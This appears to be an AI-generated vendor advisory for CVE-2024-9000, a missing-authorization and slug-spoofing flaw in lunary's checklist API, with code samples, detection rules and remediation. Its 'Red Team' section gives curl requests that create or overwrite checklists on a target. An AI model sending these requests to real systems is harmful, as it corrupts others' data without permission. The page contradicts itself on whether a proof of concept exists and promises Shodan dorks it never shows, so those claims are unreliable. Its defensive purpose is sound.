CVE-2024-9000
Executive Summary
CVE-2024-9000 is a missing authorization vulnerability in the checklists.post() endpoint of the lunary-ai/lunary application, affecting versions prior to 1.4.26. The vulnerability allows unauthenticated or unauthorized users to create or modify checklists without proper permission validation. Additionally, the endpoint fails to enforce uniqueness of the slug field, enabling an attacker to spoof existing checklists by reusing a slug of an already-existing checklist. This can lead to significant data integrity issues, as legitimate checklists can be replaced with malicious or altered data. The CVSS score is 7.1 (High), with a vector of CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N, indicating a network-exploitable, low-complexity attack with no privileges required and no user interaction, impacting integrity only. No public proof-of-concept (PoC) or exploit code is available at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the lunary-ai/lunary package, which is distributed via npm. Users should verify the integrity of their installed package and ensure they are using version 1.4.26 or later. The package is not directly available on PyPI, Go, or Ruby ecosystems.
CVSS Breakdown & Threat Level
- CVSS Score: 7.1 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: None (C:N)
- Integrity Impact: High (I:H)
- Availability Impact: None (A:N)
- Threat Level: High – The vulnerability is easily exploitable remotely without authentication, and can lead to data integrity compromise.
Deep Dive & Mechanics
The vulnerability resides in the checklists.post() endpoint of the lunary-ai/lunary application. The endpoint is intended to allow authorized users to create or modify checklists. However, the code does not validate whether the requesting user has the necessary permissions (e.g., admin or editor role) before processing the request. This missing access control allows any user, including unauthenticated attackers, to create new checklists or modify existing ones.
Furthermore, the endpoint does not enforce uniqueness of the slug field. The slug is a unique identifier for a checklist, typically used in URLs. By reusing the slug of an existing checklist, an attacker can overwrite or spoof that checklist. This can lead to data integrity issues, as legitimate checklists can be replaced with malicious or altered data, potentially affecting downstream processes that rely on checklist data.
The attack flow is as follows:
- An attacker identifies the
checklists.post()endpoint (e.g.,/api/checklists). - The attacker sends a POST request with a payload containing a
slugthat matches an existing checklist. - The server processes the request without checking permissions or slug uniqueness.
- The existing checklist is overwritten with the attacker's data.
Vulnerable vs. Patched Code
Vulnerable Code (before 1.4.26):
// Vulnerable endpoint - no permission check, no slug uniqueness validation
app.post('/api/checklists', async (req, res) => {
const { name, slug, items } = req.body;
// Missing: check if user has permission to create/modify checklists
// Missing: check if slug already exists
const checklist = await Checklist.create({ name, slug, items });
res.json(checklist);
});
Patched Code (version 1.4.26):
// Patched endpoint - with permission check and slug uniqueness validation
app.post('/api/checklists', async (req, res) => {
const { name, slug, items } = req.body;
// Permission check
if (!req.user || !req.user.hasPermission('checklist:write')) {
return res.status(403).json({ error: 'Forbidden' });
}
// Slug uniqueness check
const existing = await Checklist.findOne({ where: { slug } });
if (existing) {
return res.status(409).json({ error: 'Slug already exists' });
}
const checklist = await Checklist.create({ name, slug, items });
res.json(checklist);
});
Exploitation & Lab Setup
Red Team
Objective: Exploit the missing authorization to create or overwrite checklists.
Prerequisites:
- Access to a lunary-ai/lunary instance (version < 1.4.26).
- Knowledge of an existing checklist slug (optional, for spoofing).
Steps:
- Identify the target endpoint:
POST /api/checklists. - Craft a malicious payload. For example, to create a new checklist:
{ "name": "Malicious Checklist", "slug": "malicious-slug", "items": ["item1", "item2"] } - Send the request using
curl:curl -X POST https://target.com/api/checklists \ -H "Content-Type: application/json" \ -d '{"name":"Malicious Checklist","slug":"malicious-slug","items":["item1","item2"]}' - To spoof an existing checklist, use the slug of an existing checklist:
curl -X POST https://target.com/api/checklists \ -H "Content-Type: application/json" \ -d '{"name":"Spoofed Checklist","slug":"existing-slug","items":["malicious data"]}'
Expected Outcome: The attacker can create or overwrite checklists without authentication, compromising data integrity.
Blue Team
Detection:
- Monitor for POST requests to
/api/checklistsfrom unauthenticated users. - Alert on multiple POST requests to the same slug within a short time window.
- Use the detection rules provided in the Detection Engineering section.
Mitigation:
- Immediately upgrade to version 1.4.26 or later.
- If immediate upgrade is not possible, implement a Web Application Firewall (WAF) rule to block POST requests to
/api/checklistsfrom unauthenticated sources. - Review access logs for any unauthorized checklist creation or modification.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/api/checklistswith noAuthorizationheader or with invalid tokens. - Repeated POST requests to the same slug (e.g.,
existing-slug) from different IPs.
- POST requests to
- File IOCs:
- Unexpected checklist entries in the database with suspicious slugs or names.
- Checklist data that does not match expected patterns (e.g., malicious items).
- Log IOCs:
- Log entries showing
403 Forbiddenerrors for checklist endpoints (if patched) or successful creation without authentication (if vulnerable). - Log entries with unusual user agents or IP addresses.
- Log entries showing
Detection Engineering
YARA Rule
rule CVE_2024_9000_Checklist_Spoofing {
meta:
description = "Detects attempts to exploit CVE-2024-9000 by spoofing checklists"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-9000"
strings:
$slug = /"slug"\s*:\s*"[^"]+"/
$endpoint = /POST \/api\/checklists/
condition:
$endpoint and $slug
}
Sigma Rule
title: CVE-2024-9000 - Unauthorized Checklist Creation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects unauthorized POST requests to /api/checklists endpoint
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: generic
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/api/checklists'
condition: selection
falsepositives:
- Legitimate checklist creation by authorized users
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-9000 - Unauthorized Checklist Creation"; flow:to_server; http.method; content:"POST"; http.uri; content:"/api/checklists"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade: Update lunary-ai/lunary to version 1.4.26 or later. This is the only official patch.
- WAF Rules: If upgrade is not immediately possible, deploy a WAF rule to block POST requests to
/api/checklistsfrom unauthenticated users. - Access Control Review: Audit all endpoints for proper authorization checks.
Long-Term Measures:
- Implement role-based access control (RBAC) for all API endpoints.
- Enforce uniqueness constraints on database fields that require it (e.g., slug).
- Conduct regular security code reviews and penetration testing.
- Monitor for similar vulnerabilities in other parts of the application.
Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.